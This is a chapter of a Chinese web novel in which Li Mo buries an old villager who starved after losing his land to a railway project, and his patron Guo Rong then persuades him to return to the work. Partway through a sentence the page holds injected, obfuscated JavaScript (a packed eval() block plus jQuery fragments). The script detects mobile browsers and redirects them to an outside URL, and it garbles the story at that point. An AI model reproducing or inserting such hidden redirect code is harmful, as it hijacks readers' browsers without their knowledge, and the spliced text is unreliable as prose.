李默走了一夜。
天亮的时候，他到了汴梁城外三十里的一个村子。
这个村子他认识——就是上次征地时，那个老头住的村子。那时候他来，村里还有人。现在再来，已经空了。
房子还在，门开着，里面没有人。地上有砸碎的碗，有扔下的衣服，有来不及带走的东西。风从破了的窗户刮进去，卷起几片枯叶，哗啦啦地响。
李默站在村口，看着那些空房子。
他不知道自己为什么要来这里。
也许是想看看。也许是想记住。也许只是没地方去。
他走进村子，一间一间地看。
第一间房子，灶台上的锅还在，里面长出了绿茸茸的霉。锅边放着一个碗，碗里还有半碗发霉的粥，上面落满了灰。
第二间房子，床上铺着干草，干草上有一个凹下去的坑——那是人睡出来的。床头放着一件破衣服，衣服上补丁摞补丁，针脚很粗，是自己缝的。
第三间房子，墙上贴着一张发黄的纸，纸上画着一个歪歪扭扭的人。旁边写着几个字：孙子画的。笔画稚嫩，但能认出来。
第四间房子，墙角堆着几袋粮食，已经发霉了，长了厚厚的绿毛。粮食袋上爬满了虫子，密密麻麻的。
他走到最后一间房子门口。
门半开着。
他推开门，走进去。
屋里躺着一个人。
是个老人，已经死了。不知道死了多久，脸已经认不出来了。但衣服还在——是那个老头的衣服。那件衣服他记得，灰色的，补丁摞补丁，和这间房子里那件破衣服一样。
李默站在那儿，看着那具尸体。
那天站在路中间，挡着他的路，问他“钱花完了呢”的那个老头。
那天站在城门口，带着几百人，堵着路，喊“还我田地”的那个老头。
那天站在人群里，瘦得只剩一把骨头，但眼睛里有光的那个老头。
现在躺在这儿，死了。
李默蹲下来，看着那张脸。
认不出来了。但他知道是他。
他想起老头说的最后一句话。
“来。不来，等死吗？”
他来了。他干活了。他拿到钱了。
可他还是死了。
李默蹲在那儿，蹲了很久。
他看着老头的脸，看着那张已经认不出来的脸。他想从那张脸上找出一点什么——一点愤怒，一点不甘，一点别的什么。
但什么都没有。
只是一张死人的脸。
他站起来，走到外面，找了一块破木板，又走回来。
他把老头的尸体卷起来，用木板垫着，拖到外面。
尸体很轻，比他想象的轻得多。饿死的人，没什么重量。
村外有一片荒地，长满了野草。野草已经枯了，黄黄的，风一吹就倒。他用双手挖坑，挖了很久，挖出一个浅浅的洞。土很硬，冻了一冬天，还没化透。他的手指磨破了，血渗进土里，他也感觉不到疼。
他把老头放进去，盖上土。
没有碑。没有名字。什么都没有。
他站在那个土堆前面，站了很久。
风吹过来，野草沙沙地响。那声音像是在说话，又像是在叹气。
他忽然想起老头第一次见他的时候，说的那句话。
“我家的地，在线上。三代人，种了一百年。你们说征就征？”
他不知道怎么回答。
现在也不知道。
李默在那个空村子里待了三天。
第一天，他坐在村口，看着那些空房子。他想，这些房子里曾经住着人。那些人早上起来，生火做饭，下地干活，晚上回来，睡觉。日复一日，年复一年，三代人，种了一百年。
然后他们走了。
有的死了，有的不知道去哪儿了。
那些空房子，还会再有新的人来住吗？
他不知道。
第二天，他走进那些空房子，一间一间地看。他把那些没来得及带走的东西收拾起来，放好。破碗，破衣服，发霉的粮食，孙子画的画。他不知道这些东西有什么用，但他想收着。
也许是因为，这些东西是那些人存在过的证明。
第三天，他坐在那个土堆前面，和老头的尸体待了一整天。他看着那个土堆，想着老头活着时候的样子。
第一次见面，老头站在路中间，手里拿着锄头，眼睛里全是血丝。他问李默：“你就是那个修铁路的？”
第二次见面，老头站在城门口，带着几百人，堵着路，喊“还我田地”。他脸上的伤还没好，青一块紫一块的。
第三次见面，老头站在人群里，瘦得只剩一把骨头，但眼睛里有光。他说：“来。不来，等死吗？”
他来了。他干活了。他拿到钱了。
可他还是死了。
李默想着这些，坐在那个土堆前面，从早坐到晚。
太阳升起来，又落下去。
月亮升起来，又落下去。
他一直坐着。
第三天傍晚，有一个人骑着马来了。
是郭荣。
他勒住马，看着李默，看了很久。他的脸上有风尘，眼睛里全是血丝，像是赶了很久的路。
然后他翻身下马，走到李默面前，也在他旁边坐下。
两个人并排坐着，看着那条路。
“阿钝哭了三天。”郭荣说。
李默没说话。
“阿箬一句话没说。每天坐在院子里，看着那堵墙。”
李默还是没说话。
郭荣沉默了一会儿。
“狗子问，叔叔是不是不要我们了？”
李默的手动了一下。
郭荣转过头，看着他。
“你在这儿干什么？”
李默想了想。
“等人。”
“等谁？”
李默指着那个土堆。
“等他。”
郭荣顺着他的手指看过去，看见了那个没有碑的土堆
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401619|200419||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
“谁？”
“那个老头。”李默说，“征地的时候，站在路中间挡我的那个。城门口暴动的时候，站在最前面的那个。”
郭荣没说话。
李默看着他。
“他说他信了我。搬了。钱拿了。可他还是死了。”
郭荣沉默了很久。
然后他说：
“我知道。”
李默愣了一下。
“你知道？”
郭荣点了点头。
“他死在半个月前。饿死的。钱花完了，没地方去，回来等死。”
他看着李默。
“我让人来找过他。想让他去修铁路。没找到。”
李默没说话。
郭荣站起来，拍了拍身上的土。
“李师傅，”他说，“你在这儿坐着，他也不会活过来。”
李默看着他。
“那怎么办？”
郭荣想了想。
“回去。”他说，“接着干。”
李默没动。
郭荣看着他。
“你那天问我，阿箬的麻烦和铁路比起来怎么。我说，是小事。”
他顿了顿。
“我现在告诉你——那是假的。”
李默抬起头，看着他。
郭荣的眼睛里，有一种很复杂的光。那光里，有痛，有悔，有别的什么。
“阿箬的麻烦不是小事。你的难受也不是小事。那个老头的命也不是小事。”
他伸出手，把李默拉起来。
“但它们加起来，”他说，“也没有铁路重要。”
李默站在他面前，看着他。
“为什么？”
郭荣看着他的眼睛。
“因为铁路修成了，以后就不会有老头这样死了。”
那天夜里，李默跟着郭荣回去了。
走到半路，他忽然停下来。
郭荣回头看他。
“怎么？”
李默沉默了一会儿。
“郭公子，”他说，“你刚才说的话，是真的吗？”
郭荣愣了一下。
“什么话？”
“铁路修成了，以后就不会有老头这样死了。”
郭荣沉默了很久。
然后他说：
“我不知道。”
李默看着他。
郭荣抬起头，看着月亮。
“但我想试试。”他说，“试成了，就不用了。试不成——”
他没说完。
李默替他说完：
“试不成，就再来。”
郭荣转过头，看着他。
月光下，两个人的眼睛，都有光。
他们继续往前走。
走了几步，李默又停下来。
他回头看了一眼。
那个方向，是那个空村子，是那个没有碑的土堆。
看不见了。
但他知道它在那儿。
他会记住。